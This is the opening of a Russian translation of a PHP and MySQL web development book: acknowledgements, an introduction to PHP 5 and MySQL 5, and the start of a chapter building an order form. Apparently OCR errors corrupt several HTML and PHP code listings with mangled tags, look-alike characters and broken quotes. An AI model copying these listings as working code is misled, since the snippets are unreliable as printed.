Благодарности Мы хотели бы поблагодарить коллектив издательства Pearson за проделанную ими большую работу. В частности, хотели бы выразить признательность Шелли Джонстон (Shelley Johnston), без чьей преданности и терпения вряд ли бы вышли в свет первые три издания этой книги, а также Марку Таберу (Mark Taber), способствовавшему вы- ходу четвертого издания. Мы высоко ценим работу, проделанную командами разработчиков РНР и MySQL. Все что они делали, существенно облегчало нам жизнь в течение нескольких прошед- ших лет, и это продолжается до сих пор. Мы благодарим Эдриана Клоуза (Adrian Close) за то, что в 1998 г. он сказал: “Вы можете построить это на РНР”. Еще он сказал, что нам должен понравиться РНР, и, похоже, он оказался прав. Наконец, мы хотели бы выразить благодарность своим семьям и друзьям, кото- рые мирились с нашим затворничеством в лучшие времена года. Особенно мы благо- дарны за поддержку членам наших семей: Джулии, Роберту, Мартину, Лесли, Адаму, Полу, Арчеру и Бартону. От издательства Вы, читатель этой книги, и есть главный ее критик и комментатор. Мы ценим ваше мнение и хотим знать, что было сделано нами правильно, что можно было сде- лать лучше и что еще вы хотели бы увидеть изданным нами. Нам интересно услышать и любые другие замечания, которые вам хотелось бы высказать в наш адрес. Мы ждем ваших комментариев и надеемся на них. Вы можете прислать нам бумаж- ное или электронное письмо, либо просто посетить наш веб-сервер и оставить свои замечания там. Одним словом, любым удобным для вас способом дайте нам знать, нравится или нет вам эта книга, а также выскажите свое мнение о том, как сделать наши книги более интересными для вас. Посылая письмо или сообщение, не забудьте указать название книги и ее авторов, а также ваш обратный адрес. Мы внимательно ознакомимся с вашим мнением и обя- зательно учтем его при отборе и подготовке к изданию последующих книг. Наши координаты: E-mail: inf o@williamspublishing. com WWW: http://www.williamspublishing.com Информация для писем из: России: 127055, г. Москва, ул. Лесная, д. 43, стр. 1 Украины: 03150, Киев, а/я 152 26 Благодарности
Введение Добро пожаловать в четвертое издание этой книги! На ее страницах вы найдете наиболее важные сведения, которые представляют собой квинтэссенцию про- должительного опыта использования авторами РНР и MySQL — двух наиболее попу- лярных инструментальных средств разработки для Web. Во введении мы коснемся следующих вопросов. Для чего следует прочесть эту книгу. Чего можно добиться, используя эту книгу. Что собой представляют системы РНР и MySQL и чем они хороши. Обзор новых возможностей последних версий РНР и MySQL. Как построена эта книга. Что ж, приступим. Для чего следует прочесть эту книгу Эта книга призвана научить вас создавать интерактивные веб-сайты, начиная с простейшей формы заказа и завершая сложными и безопасными сайтами электрон- ной коммерции и Web 2.0. Более того, вы узнаете, как это делать с использованием технологий программного обеспечения с открытым исходным кодом (Open Source). Эта книга ориентирована на читателей, которые уже знакомы, как минимум, с основами языка HTML и ранее разрабатывали приложения на современных язы- ках программирования, но, возможно, еще не занимались программированием для Интернета и не использовали реляционные базы данных. Без сомнений, книга окажется полезной для начинающих программистов, однако для более качественного усвоения изложенного материала им может потребоваться более длительный период. Мы старались не оставить без внимания ни одну из базовых концепций, однако ос- вещаем их довольно-таки кратко. В основном, книга адресована тем читателям, кото- рые стремятся овладеть РНР и MySQL для построения крупных и/или коммерческих веб-сайтов. Эта книга поможет быстрее приступить к делу также и профессиональ- ным разработчикам, желающим перейти на другой язык написания веб-приложений. Мы подготовили первое издание данной книги, поскольку изрядно устали от книг, посвященных РНР, которые, по сути дела, являлись справочниками по функциям. Конечно, такие книги полезны, однако они не могут помочь в ситуации, когда, ска- жем, ваш начальник или клиент говорит: “Сделайте-ка мне покупательскую тележку”. Мы сделали все от нас зависящее, чтобы примеры кода в этой книге были максималь- но полезными. Многие из примеров кода могут внедряться в разрабатываемый вами веб-сайт непосредственно, а множество других примеров — лишь с незначительными модификациями. Введение 27
Чего можно добиться, используя эту книгу После внимательного прочтения этой книги вы сможете уверенно разрабатывать реальные динамические веб-сайты. Если вам доводилось ранее строить веб-сайты с использованием простого языка HTML, то вы должны быть знакомы со всеми его ог- раничениями. При использовании статического содержимого, созданного на основе чистого HTML-кода, веб-сайт будет таким же статическим. Он останется неизменным, если только не обновить его физически. Пользователи не могут взаимодействовать с сайтом подобного рода каким-то осмысленным образом. Применение языка, подобного РНР, и такой базы данных, как MySQL, позволяет сделать сайты динамическими: они могут настраиваться и содержать информацию, изменяемую в реальном времени. В данной книге, даже во вводных главах, основное внимание акцентируется на реальных приложениях. Все начинается с рассмотрения простой интерактивной сис- темы заказов, а затем предлагается ознакомление с различными составными частями РНР и MySQL. Затем мы рассмотрим все аспекты электронной коммерции и безопасности во взаимосвязи с созданием реального веб-сайта и покажем, как практически реализо- вать эти аспекты в среде РНР и MySQL. В заключительной части книги мы обсудим подход к выполнению реальных про- ектов и ознакомим читателей с разработкой, планированием и реализацией следую- щих проектов. Аутентификация и персонализация пользователей. Электронные покупательские тележки. Электронная почта, основанная на Web. Диспетчеры списков рассылки. Веб-форумы. Генерация PDF-документов. Подключение к веб-службам с помощью XML и SOAP. Приложения Web 2.0, использующие Ajax. Любой из этих проектов может использоваться в предложенном виде или же мо- дифицироваться в соответствие с конкретными требованиями. Мы сделали такую подборку проектов потому, что, по нашему мнению, они представляют собой наибо- лее широко используемые веб-приложения, которые приходится создавать програм- мистам во всем мире. Если перед вами стоят другие задачи, все равно эта книга помо- жет в достижении поставленных целей. Что такое РНР? РНР — это серверный (т.е. серверной стороны) язык сценариев, разработанный специально для Web. В HTML-страницу можно внедрить PHP-код, который будет вы- полняться при каждом ее посещении. PHP-код интерпретируется веб-сервером и ге- нерирует HTML-код или другой вывод, наблюдаемый посетителями страницы. Разработка РНР была начата в 1994 г. и вначале осуществлялась одним челове- ком, Расмусом Лердорфом (Rasmus Lerdorf). Впоследствии этот язык адаптировался 28 Введение
многими талантливыми людьми и прошел через четыре основных редакции, пока не стал широко используемым и зрелым продуктом, с которым мы имеем дело в настоя- щее время. По состоянию на ноябрь 2007 г. он использовался в более чем 21 миллио- нов доменов, разбросанных по всему миру, причем их число быстро увеличивается. Текущее количество доменов, в которых используется РНР, можно посмотреть по ад- ресу http://www.php.net/usage.php. РНР — это проект с открытым исходным кодом (Open Source), что означает, что вы имеете доступ к исходному коду. Его можно использовать, изменять и свободно распространять другим пользователям или организациям. Первоначально РНР было сокращением от Personal Ноте Page (Персональная до- машняя страница), но затем это название было изменено в соответствии с соглаше- нием по рекурсивному именованию GNU (GNU = Gnu’s Not Unix) и теперь означает РНР Hypertext Preprocessor (Гипертекстовый препроцессор РНР). В настоящее время текущей версией РНР является пятая. Эта версия характеризу- ется полной переделкой механизма Zend, лежащего в основе РНР, и рядом существен- ных языковых усовершенствований. Домашняя страница РНР доступна по адресу http: //www.php.net. Домашняя страница Zend Technologies находится по адресу http://www.zend.com. Что такое MySQL? MySQL — очень быстрая и надежная система управления реляционными базами данных (СУРБД). База данных позволяет эффективно хранить, искать, сортировать и выби- рать информацию. Сервер MySQL управляет доступом к данным, позволяя работать с ними одновременно нескольким пользователям, обеспечивает быстрый доступ к дан- ным и гарантирует предоставление доступа только тем пользователям, которые имеют на это право. Следовательно, MySQL является многопользовательским, многопоточ- ным сервером. В нем применяется SQL (Structured Query Language — язык структури- рованных запросов), стандартный язык запросов к базам данных. MySQL появился на рынке в 1996 г., однако его разработка была начата еще в 1979 г. В настоящее время MySQL представляет собой наиболее популярную СУРБД с открытым исходным ко- дом; эта система завоевала приз читательских симпатий в журнале Linux Journal Пакет MySQL доступен по схеме двойного лицензирования. Его можно свободно использовать в соответствие с общедоступной лицензией GNU (GPL) до тех пор, пока соблюдаются требования упомянутой лицензии. Если возникает необходимость в распространении приложений, не подпадающих под действие лицензии GPL, для таких ситуаций доступна коммерческая лицензия. Для чего следует использовать РНР и MySQL? Для создания веб-сайта применяется множество различных продуктов. Возникает необходимость в выборе следующих компонентов: оборудование веб-сервера; операционная система; программное обеспечение веб-сервера; система управления базами данных; язык программирования или написания сценариев. Введение 29
Выбор некоторых из этих компонентов будет зависеть от уже произведенных вы- боров. Например, не все операционные системы могут работать на любом оборудова- нии, не все веб-серверы поддерживают те или иные языки программирования и т.д. В этой книге не уделяется особое внимание оборудованию, операционным сис- темам и программному обеспечению веб-сервера. Нам это не требуется. Одно из за- мечательных свойств РНР и MySQL состоит в том, что они доступны для широкого спектра операционных систем, как популярных, так и редких. Большинство кода РНР является переносимым между операционными системами и веб-серверами. Существуют функции РНР, специфичные для файловой системы, ко- торая зависит от операционной системы, однако они специальным образом помеча- ются как таковые и в документации, и в настоящей книге. Какое бы аппаратное обеспечение, операционная система или веб-сервер не были бы выбраны, мы уверены, что вы всерьез задумаетесь об использовании РНР и MySQL. Некоторые преимущества РНР В число главных конкурентов РНР входят Perl, Microsoft ASP.NET, Ruby (on Rails и др.), JavaServer Pages (JSP) и ColdFusion. PHP обладает множеством преимуществ по сравнению с этими продуктами, среди которых наиболее значительными являются: производительность; масштабируемость; наличие интерфейсов к множеству систем управления базами данных; встроенные библиотеки для выполнения многих общих задач, связанных с Web; низкая стоимость; простота изучения и использования; строгая поддержка объектно-ориентированного программирования; переносимость; гибкость подхода к разработке; доступность исходного кода; доступность поддержки со стороны разработчиков и документации. Ниже эти преимущества рассматриваются более подробно. Производительность РНР исключительно быстрый. Используя единственный недорогой сервер, можно обслуживать миллионы обращений в день. Результаты тестирования, опубликованные компанией Zend Technologies (http: //www. zend.com), подтверждают более высокую производительность РНР по сравнению с конкурирующими продуктами. 30 Введение
Масштабируемость РНР имеет архитектуру, на которую Расмус Лердорф часто ссылается как на “не предусматривающую разделения ресурсов”. Это означает возможность эффективной и недорогой реализации горизонтального масштабирования для большого числа ра- бочих серверов. Интеграция с базами данных РНР обладает встроенной возможностью подключения ко многим системам управления базами данных. В дополнение к MySQL, среди прочих, можно непо- средственно подключаться к базам данных PostgreSQL, Oracle, dbm, FilePro, DB2, Hyperware, Informix, InterBase и Sybase. В PHP 5 также реализован встроенный SQL- интерфейс для работы с двумерными (плоскими) файлами. Используя стандарт открытого интерфейса взаимодействия с базами данных (Open Database Connectivity — ODBC), можно подключаться к любой базе данных, для ко- торой существует ODBC-драйвер. Это правило распространяется на продукты как Microsoft, так и множества других компаний. В дополнение к собственным библиотекам РНР поддерживает уровень абстракции доступа к базам данных, называемый РНР Database Objects (PDO), который обеспечи- вает единообразный доступ и безопасное кодирование. Встроенные библиотеки Поскольку РНР был разработан для использования в Web, он имеет множест- во встроенных функций для выполнения большого разнообразия полезных задач, связанных с Web. С его помощью можно на ходу генерировать изображения, под- ключаться к веб- и другим сетевым службам, выполнять XML-разбор, отправлять сообщения электронной почты, работать с cookie-наборами и генерировать PDF-до- кументы — причем все это с помощью всего нескольких строк кода. Стоимость Пакет РНР является бесплатным. Самую новую версию можно в любой момент загрузить из сайта http: //www.php.net, причем совершенно бесплатно. Простота изучения РНР Синтаксис РНР основан на других языках программирования, в первую очередь на С и Perl. Если вы уже знакомы с С, Perl или С-подобным языком, таким как C++ или Java, то почти сразу сможете эффективно использовать РНР. Поддержка объектно-ориентированного программирования Версия РНР 5 обладает хорошо спроектированными возможностями объектно-ори- ентированного программирования. Если ранее вы сталкивались с языками наподобие Java или C++, вы обнаружите очень похожие характеристики и в РНР 5 (в том числе и синтаксис), среди которых: наследование, приватные и защищенные атрибуты и ме- Введение 31
тоды, абстрактные классы и методы, интерфейсы, конструкторы и деструкторы. Вы даже обнаружите такие менее общие свойства, как итераторы. Часть из упомянутых функций была доступна в версиях РНР 3 и РНР 4, однако версия РНР 5 отличается более полной поддержкой объектно-ориентированного программирования. Переносимость РНР можно использовать под управлением множества различных операционных систем. PHP-код можно разрабатывать в среде таких бесплатных Unix-подобных опе- рационных систем, как Linux и FreeBSD, коммерческих версий Unix типа Solaris и IRIX, OS X и различных версий Microsoft Windows. Хорошо написанный код, как правило, будет работать без каких-либо изменений в различных средах, в которых установлен пакет РНР. Гибкость подхода к разработке РНР позволяет реализовывать простые задачи просто, и в равной степени просто строить крупные приложения с использованием каркаса, основанного на шаблонах проектирования, таких как МУС (Model-View-Controller — модель-представление-кон- троллер). Исходный код Пользователь имеет доступ к исходному коду РНР. В отличие от коммерческих за- крытых программных продуктов, если нужно что-либо изменить или добавить к язы- ку, это всегда можно сделать. Не следует ждать, пока компания-изготовитель выпустит исправления. Также нет необходимости беспокоиться о том, что изготовитель покинет рынок или переста- нет поддерживать продукт. Доступность поддержки и документации Zend Technologies (www.zend.com) — компания, создавшая лежащий в основе РНР механизм, — финансирует дальнейшее развитие РНР за счет предоставле- ния поддержки и разработки сопровождающего программного обеспечения на коммерческой основе. Документация и сообщество РНР являются зрелым и бога- тым ресурсом, изобилующим полезной информацией. Что нового в версии РНР 5? Скорее всего, вы перешли на РНР 5 с одной из версий РНР 4.x. Как и мож- но было ожидать, в РНР 5 было внесено множество существенных изменений. Механизм Zend, лежащий в основе РНР, был полностью переписан. Ниже пред- ставлены наиболее значимые нововведения. Улучшенная поддержка объектно-ориентированного программирования, по- строенная на основе новой объектной модели (см. главу 6). Механизм исключений, обеспечивающий масштабируемую и легко реализуемую обработку ошибок (см. главу 7). SimpleXML для простой обработки XML-данных (см. главу 33). 32 Введение
В число других изменений входит перенос некоторых расширений из стандарт- ной установки РНР в библиотеку PECL, улучшение поддержки потоков и добавление SQLLite. На момент написания книги текущей версией была РНР 5.2, а РНР 5.3 пребы- вала в виде первого кандидата на выпуск. В РНР 5.2 появилось множество полез- ных средств. Новое расширение фильтрации для целей безопасности. Расширение JSON для лучшей функциональной совместимости с JavaScript. Отслеживание процесса выгрузки файлов. Улучшенная обработка даты и времени. Множество обновленных клиентских библиотек, улучшений производительно- сти (включая усовершенствованное управление памятью в Zend Engine) и ис- правлений ошибок. Ключевые средства РНР 5.3 Вы могли немало слышать о новом старшем выпуске РНР — РНР 6. На момент написания книги РНР 6 пока не пребывал в стадии кандидата на выпуск, и вряд ли можно ожидать, что поставщики услуг хостинга установят его за короткое время. Однако некоторые ключевые средства, планируемые в РНР 6, будут реали- зованы в версии РНР 5.3, представляющей собой младший выпуск и в настоящее время проходящей этап окончательного тестирования. Некоторые новые средства РНР 5.3 перечислены ниже; дополнительную ин- формацию можно найти далее в книге. Добавлены пространства имен; см. http: / /www. php. net / language. name spaces. Добавлено расширение inti, предназначенное для интернационализации при- ложений; см. http://www.php.net/manual/en/intro.intl.php. Добавлено расширение phar, предназначенное для создания модульных архи- вов PHP-приложений; см. http://www.php.net/book.phar. Добавлено расширение fileinfo, предназначенное для расширения возможно- стей работы с файлами; см. http://www.php.net/manual/en/book.fileinfo.php. Добавлено расширение sqlite3, предназначенное для работы с механизмом SQLite Embeddable SQL Database Engine; см. http://www.php.net/manual/en/ class.sqlite3.php. Включена поддержка драйвера MySQLnd, представляющего собой замену libmysql; см. http: / /forge .mysql. com/wiki/PHP_MYSQLND. Помимо добавления перечисленных выше существенных средств, в РНР 5.3 также исправлено значительное число ошибок и усовершенствованы стандартные функцио- нальные возможности. Удалена поддержка версий Windows, предшествующих Windows 2000 (Windows 98 и NT4). Обеспечена постоянная доступность расширений PCRE, Reflection и SPL. Введение 33
Добавлены новые функции работы с датой и временем, расширяющие спектр вычислений и манипуляций с датами. Усовершенствована функциональность crypt (), hash () и md5 () и улучшено расширение OpenSSL. Усовершенствовано администрирование и обработка php.ini, включая улуч- шенные сообщения об ошибках. Продолжена настройка механизма Zend для достижения более высокой скоро- сти работы и лучшего использования памяти. Некоторые преимущества MySQL К основным конкурентам MySQL относятся системы PostgreSQL, Microsoft SQL Server и Oracle. MySQL обладает многими преимуществами, в том числе: высокой производительностью; низкой стоимостью; простотой конфигурирования и изучения; переносимостью; доступностью исходного кода; доступностью поддержки. Более подробно перечисленные преимущества рассматриваются ниже. Производительность MySQL, вне всяких сомнений, работает исключительно быстро. Результаты срав- нительных тестов производительности, выполненных компанией-изготовителем, можно посмотреть на веб-странице по адресу: http://web.mysql.com/whymysql/benchmarks Многие из этих сравнительных тестов показывают, что MySQL работает на не- сколько порядков быстрее конкурирующих продуктов. В 2002 г. журнал eWeek опубли- ковал результаты сравнения производительности пяти баз данных, используемых для построения веб-приложений. Лучший результат был разделен между MySQL и значи- тельно более дорогой системой Oracle. Низкая стоимость Пакет MySQL доступен бесплатно в соответствие с лицензией на программное обеспечение с открытым исходным кодом (Open Source) или, если это необходимо для приложения, за небольшую сумму можно приобрести коммерческую лицензию. Лицензия необходима в случае, если вы хотите распространять MySQL как часть сво- его приложения, которое не должно подпадать под действие лицензии Open Source. Если вы не планируете распространять приложения (что типично для большинства веб-приложений) или пользуетесь свободным и открытым программным обеспечени- ем, в лицензии необходимости нет. 34 Введение
Простота использования В большинстве современных баз данных используется язык SQL. Если ранее вы работали с другими СУРБД, переход к этой системе не должен вызывать какие-либо затруднения. Инсталляция MySQL столь же проста, как и установка многих аналогич- ных продуктов. Переносимость MySQL может использоваться в среде многих UNIX-подобных систем, а также в среде Microsoft Windows. Исходный код Как и в случае РНР, исходный код MySQL можно свободно загружать и изменять. В большинстве случаев и для большинства пользователей этот момент не является важным, однако он способствует душевному спокойствию, гарантируя стабильность и безопасность дальнейшей работы. Доступность поддержки Далеко не для всех продуктов с открытым исходным кодом предоставляется под- держка, обучение, консалтинг и сертификация со стороны соответствующих компа- ний-разработчиков. Тем не менее, все вышеупомянутое в отношении РНР обеспечи- вается компанией MySQL АВ (www .mysql. com). Что нового в версии MySQL 5? В число крупных изменений, внесенных в MySQL 5.0, входят перечисленные ниже. Представления. Хранимые процедуры (см. главу 13). Базовая поддержка триггеров. Поддержка курсоров. Среди других изменений следует отметить более полную совместимость со стан- дартом ANSI и улучшения, касающиеся производительности. Если вы продолжаете пользоваться предыдущей версией сервера MySQL (MySQL 3.x либо MySQL 4.x), воз- можно, принять решение перейти на новую версию поможет следующий список важ- ных функциональных возможностей, которые были добавлены в MySQL 5.0. Поддержка подзапросов. Типы данных GIS для хранения географических данных. Усовершенствованная поддержка интернационализации. Безопасный в отношении транзакций механизм хранения InnoDB, ставший стандартным. Кэш запросов MySQL, существенно увеличивающий скорость выполнения по- вторяющихся запросов, которые часто выдаются веб-приложениями. При написании этой книги использовалась версия MySQL 5.1 (Beta Community Edition), в которой была добавлена поддержка следующих средств: Введение 35
Разбиение на разделы. Репликация на основе строк. Обработка событий. Запись журнальной информации в таблицы. Усовершенствования MySQL Cluster, информационной схемы, процессов ре- зервного копирования и исправления множества ошибок. Как построена эта книга Книга разделена на шесть основных частей. В части I приводится обзор основных составляющих языка РНР с примерами. Каждый из примеров — не какой-то “игрушечный” код, а образец реальной програм- мы, используемой при построении сайта электронной коммерции. Обзор начинается с главы 1. Если вы уже использовали РНР, можете просмотреть ее очень бегло. Если же вы лишь начинаете знакомиться с РНР или вообще с программированием, воз- можно, потребуется изучить эту главу более основательно. Тем не менее, даже если вы имеете большой опыт использования РНР, но не версии РНР 5, следует тщательно изучить материал главы 6, т.к. в объектно-ориентированную функциональность были внесены значительные изменения. В части II рассматриваются концепции и особенности разработки, связанные с использованием систем реляционных баз данных типа MySQL, применение SQL, под- ключение базы данных MySQL к внешним приложениям с помощью РНР и дополни- тельные аспекты технологии MySQL вроде безопасности и оптимизации. В части III освещаются некоторые из основных вопросов, связанных с разработ- кой веб-сайта на любом языке программирования. Безопасность является наиболее важной из них. Затем будет показано, как задействовать РНР и MySQL для аутентифи- кации пользователей и для безопасного сбора, передачи и хранения информации. В части IV подробно рассматриваются некоторые из основных встроенных РНР- функций. Мы остановили свой выбор на тех функциях, которые наверняка окажутся по- лезными при создании веб-сайта. Читатели узнают о взаимодействии с сервером, взаи- модействии с сетью, о генерации изображений, манипулировании датой и временем и о переменных сеанса. Часть V является одной из наиболее интересных для нас как авторов. В ней иссле- дуются такие практические вопросы, как управление большими проектами и отладка. Здесь же приводятся примеры проектов, демонстрирующие возможности и гибкость РНР и MySQL. В части VI представлены приложения, в которых рассматриваются вопросы инстал- ляции РНР и MySQL, а также приводятся ссылки на полезные ресурсы в Интернете. Заключение Мы очень надеемся, что читатели получат такое же удовольствие от прочтения этой книги и ознакомления с РНР и MySQL, какое получили мы, став применять эти продукты. Их действительно приятно использовать. Со временем вы сможете примкнуть ко многим тысячам разработчиков веб-приложений, использующих эти надежные, обладающие большими возможностями инструментальные средства для простого и быстрого создания динамических, функционирующих в реальном време- ни веб-сайтов. 36 Введение
Использование РНР В ЭТОЙ ЧАСТИ... Глава 1. Введение в РНР Глава 2. Хранение и выборка данных Глава 3. Использование массивов Глава 4. Манипулирование строками и регулярные выражения Глава 5. Многократное использование кода и создание функций Глава 6. Объектно-ориентированное программирование на РНР Глава 7. Обработка ошибок и исключений
1 Введение в РНР В этой главе предлагается краткий обзор синтаксиса и конструкций языка РНР. Если вы уже работаете с РНР, то у вас есть возможность пополнить свои зна- ния. Если у вас имеется некоторый опыт программирования на С, ASP (Active Server Pages — активные серверные страницы) или других языках, полученные знания помо- гут вам существенно увеличить производительность труда. В процессе изучения этой книги вы освоите работу в технологии РНР на мно- гочисленных практических примерах, взятых из нашего опыта построения сайтов систем электронной коммерции. Зачастую в учебниках по программированию син- таксис языков программирования объясняется на очень простых примерах. Мы ре- шили отказаться от подобной практики. Мы понимаем, что для освоения принципов использования языка читателю часто вполне достаточно получить пусть не самую лучшую, зато работающую программу, вместо того, чтобы просматривать очередной справочник по синтаксису и функциям, который ничем не лучше -интерактивного руководства. Поэкспериментируйте с примерами — наберите их с клавиатуры или загрузите код из сайта, внесите в них изменения, разбейте на модули и научитесь снова собирать их в единое целое. Чтобы узнать, как в РНР используются переменные, операции и выражения, в этой главе мы начнем с того, что рассмотрим пример интерактивной формы заказа товаров. В ней мы также узнаем, какие типы переменных существуют в языке РНР, и ознакомимся с приоритетами операций. На основе вычисления общей суммы заказа и величины налога будет показано, как получить доступ к переменным формы и как манипулировать ими. Затем мы разработаем пример интерактивной формы заказа, используя создан- ный для этих целей сценарий на языке РНР для проверки вводимых данных. При этом мы воспользуемся понятием булевских значений и приведем примеры исполь- зования операторов if, else, switch и операции ?:. В заключение, написав несколько сурок кода на языке РНР (в дальнейшем, для краткости, PHP-кода) для генерации повторяющихся HTML-таблиц, мы научимся пользоваться циклами. В этой главе рассматриваются следующие основные темы. Встраивание PHP-кода в HTML-код. Добавление динамического содержимого. Доступ к переменным формы. 38 Часть I. Использование РНР
Идентификаторы. Переменные, объявленные пользователем. Типы переменных. Присваивание значений переменным. Объявление и использование констант. Область действия переменных. Операции и приоритеты операций. Выражения. Использование функций для работы с переменными. Принятие решений с помощью операторов if, else и switch. Выполнение итераций: циклы while, do и for. Предварительное условие: доступ к РНР Чтобы можно было работать с примерами, приводимыми в этой главе, да и по всей книге, нужно иметь доступ к Web-серверу с установленным на нем РНР. Чтобы извлечь для себя максимальную пользу из учебных примеров, вы должны запустить их и периодически вносить различные изменения. Для этого необходимо иметь в своем распоряжении испытательный стенд, который обеспечил бы возможность экс- периментировать с учебными программами. Если на вашей машине РНР не установлен, вам придется сделать это самому либо обратиться за помощью к системному администратору. Инструкции по установке РНР приведены в приложении А. Пример приложения: “Автозапчасти от Вована” Одним из наиболее распространенных применений любого языка написания сер- верных сценариев является обработка HTML-форм. Мы начнем изучение техноло- гии РНР с реализации формы заказа для вымышленной компании “Автозапчасти от Вована”, торгующей, как и понятно из ее названия, запасными частями для автомоби- лей. Все исходные тексты учебных примеров, использованных в этой главе, хранятся в каталоге chapter01 внутри загружаемого кода. Форма заказа Программист компании “Автозапчасти от Вована”, работающий на языке HTML, разработал форму для заказа продаваемых Вованом запчастей. Эта сравнительно простая форма, показанная на рис. 1.1, аналогична множеству других форм, которые можно встретить в Web практически повсеместно. Вован хотел бы иметь возмож- ность выяснять, что именно заказал его клиент, какова общая сумма заказа, и какую сумму налога с продаж ему придется уплатить по этому заказу. Глава 1. Введение в РНР 39
Рис. 1-1- Исходная форма заказа компании “Автозапчасти от Вована” фиксирует только названия товаров и их количество Часть HTML-кода создания этой формы представлена в листинге 1.1. Листинг 1.1. orderform.html — HTML-код для базовой формы заказа Вована <form action="processorder.php" method="post"> ctable border="0"> <tr bgcolor="#cccccc"> <td width="150">ToBap</td> <td width=’’15’’>KcuiH4ecTBO</td> </tr> <tr> <ЬЬ>Покрышки</td> < td align="center,,xinput type="text" name="tireqty" size="3" maxlength="3" /></td> </tr> <tr> <td>Macmo</td> < td align= "center"xinput type="text" name=,,oilqty" size="3" maxlength="3" /x/td> </tr> <tr> <td>CBG4n 3a^raHH4</td> < td align="center',xinput type="text" name="sparkqty" size="3" maxlength="3" /x/td> </tr> <tr> < td colspan="2" align="center"xinput type="submit" value="OTnpaBHTb заказ" /></td> </tr> </table> </form> Следует отметить, что действию (action) формы присвоено имя РНР-сценария, который будет обрабатывать заказ клиента. (Написание этого сценария будет нашей следующей задачей.) В общем случае значением атрибута action является URL-адрес (Uniform Resource Locator — унифицированный указатель информационного ресурса), который буцет загружаться после щелчка пользователем на кнопке Submit (Отправить). Данные, введенные пользователем в форму, отправляются по этому URL-адресу с помо- щью метода, указанного в атрибуте method: это либо GET (данные добавляются в конец URL-адреса), либо POST (данные отправляются в виде отдельного сообщения). Кроме того, обратите внимание на имена полей формы — tireqty (количество автопокрышек), oilqty (количество бутылок масла) и sparkqty (количество свечей зажигания). Эти имена впоследствии будут использоваться в PHP-сценарии. В силу 40 Часть I. Использование РНР
данного обстоятельства, прежде чем приступать к написанию PHP-сценария, полям формы важно присвоить имена, которые несут смысловую нагрузку и к тому же легко запоминаются. Некоторые HTML-редакторы по умолчанию генерируют имена полей наподобие f ield23. Такие имена довольно трудно запомнить. Ваша работа програм- миста на РНР существенно упростится, если имена полей будут бтражать характер данных, вводимых в эти поля. Лучше придерживаться определенного стандарта при именовании полей, чтобы все имена полей в рамках сайта имели один и тот же формат. Гораздо легче запом- нить, например, сокращения слов, разделенные символами подчеркивания, которые несут смысловую нагрузку пробелов. Обработка формы Для обработки формы потребуется написать сценарий, указанный в атрибуте action дескриптора form, и назвать его processorder .php. Откройте текстовый редактор и создайте этот файл. Затем введите с клавиатуры следующий код: <html> <head> <title>ABTO3ari4acTH от Вована — Результаты 3aKasa</title> </head> <body> <Ь1>Автозапчасти от Вована</Ь1> <Ь2>Результаты заказа</И2> </body> </html> Обратите внимание, что все введенное до сих пор представляет собой обычный HTML-текст. Теперь в сценарий следует добавить немного простого РНР-кода. Встраивание РНР в HTML Под заголовком <h2> файла введите следующие строки: <?php echo ”<р>3аказ обработан."; Сохраните файл и загрузите его в браузер, затем заполните форму и щелкните на кнопке Отправить заказ. На экране вы получите изображение, похожее на представ- ленное на рис. 1.2. Ф Автозапчасти от Вована -- Результаты заказа - MozHta Rrefox Эе Edit View History gookmarks Tools tjeip ’* S httP Axalhost^wysql/01/processorder,php ,.j ’ Автозапчасти от Вована Результаты заказа Заказ обработан. ; Done ' Рис. 1.2. Текст, переданный PHP-конструкции echo, отображается браузером Глава 1. Введение в РНР 41
Обратите внимание, как написанный PHP-код встраивается в обычный HTML- файл. Попробуйте просмотреть исходный код в браузере. Вы должны увидеть сле- дующие строки: <html> <head> <title>ABTO3an4acTH от Вована - Результаты 3aKa3a</title> </head> <body> <Ь1>Автозапчасти от Вована</Ь1> <Ь2>Результаты заказа</И2> <р>3аказ обработан.</р> </body> </html> Мы не обнаруживаем ни одной строки исходного PHP-кода. Это объясняется тем, что интерпретатор РНР просмотрел сценарий и заменил его соответствующими строками вывода. Это означает, что из PHP-кода можно построить чистый HTML- код, допускающий просмотр в любом браузере, — другими словами, применяемый пользователем браузер совсем не обязан понимать РНР. Этот пример служит хорошей иллюстрацией концепции серверных сценариев. PHP-код интерпретируется и выполняется на Web-сервере, в отличие от JavaScript и других технологий клиентской стороны, которые интерпретируются и выполняются в среде Web-браузера на машине пользователя. Теперь код, помещенный в этот файл, относится к следующим четырем типам: HTML; дескрипторы РНР; операторы РНР; пробелы. Можно также добавлять комментарии. Большинство строк в приведенном выше примере — всего лишь простой HTML-код. РНР-дескрипторы PHP-код в предыдущем примере начинается с конструкции <?php и завершается конструкцией ?>. Это аналогично всем HTML-дескрипторам, поскольку все они на- чинаются с символа “меньше” (<) и завершаются символом “больше” (>). Символы <?php и ?> называются PHP-дескрипторами, поскольку они указывают Web-серверу, где начинается и где заканчивается PHP-код. Любой текст, находящийся между этими дескрипторами, интерпретируется как PHP-код. Любой текст за пределами этих деск- рипторов трактуется как обычный HTML-код. РНР-дескрипторы позволяют перейти с кода HTML на другой код. Существуют различные стили дескрипторов. Рассмотрим этот вопрос несколько подробнее. Фактически существует четыре различных стиля PHP-дескрипторов. Все приве- денные ниже фрагменты кода эквивалентны. XML-стиль <?php echo ’<р>3аказ обработан.</р>’; ?> 42 Часть I. Использование РНР
Этот стиль дескрипторов используется в данной книге и является наиболее предпочтительным в РНР. Администратор сервера не имеет возможности его от- ключить, и по .этой причине он гарантированно доступен на всех серверах, что особенно в ситуациях, когда вы разрабатываете приложения, рассчитанные на выполнение в различных средах. Такой стиль дескрипторов может использовать- ся в документах XML (Extensible Markup Language — расширяемый язык размет- ки). Мы рекомендуем в основном использовать именно этот стиль дескрипторов. Сокращенный стиль <? echo '<р>3аказ обработан.</р>'; ?> Этот стиль дескрипторов является самым простым и соответствует стилю инст- рукций обработки языка SGML (Standard Generalized Markup Language — стан- дартный обобщенный язык разметки). Чтобы использовать этот тип дескрип- торов (который к тому же и наиболее краткий для ввода с клавиатуры), вы должны либо включить переменную short open tags в файле конфигурации, либо скомпилировать РНР с включенными сокращенными дескрипторами. Более подробная информация по использованию данного стиля представлена в приложении А. Тем не менее, применение этого стиля не рекомендуется: во многих средах он может не работать, поскольку по умолчанию отключен. SCRIPT-стиль <script language='php'> echo '<р>3аказ обработан.</р>'; </script> Этот стиль дескрипторов является самым длинным; он знаком тем, кому прихо- дилось использовать JavaScript или VBScript. Его можно применять при работе в редакторе HTML, когда возникают проблемы с другими стилями дескрипторов. ASP-стйль <% echo '<р>3аказ обработан.</р>'; %> Аналогичный стиль дескриптора используется в технологии ASP (Active 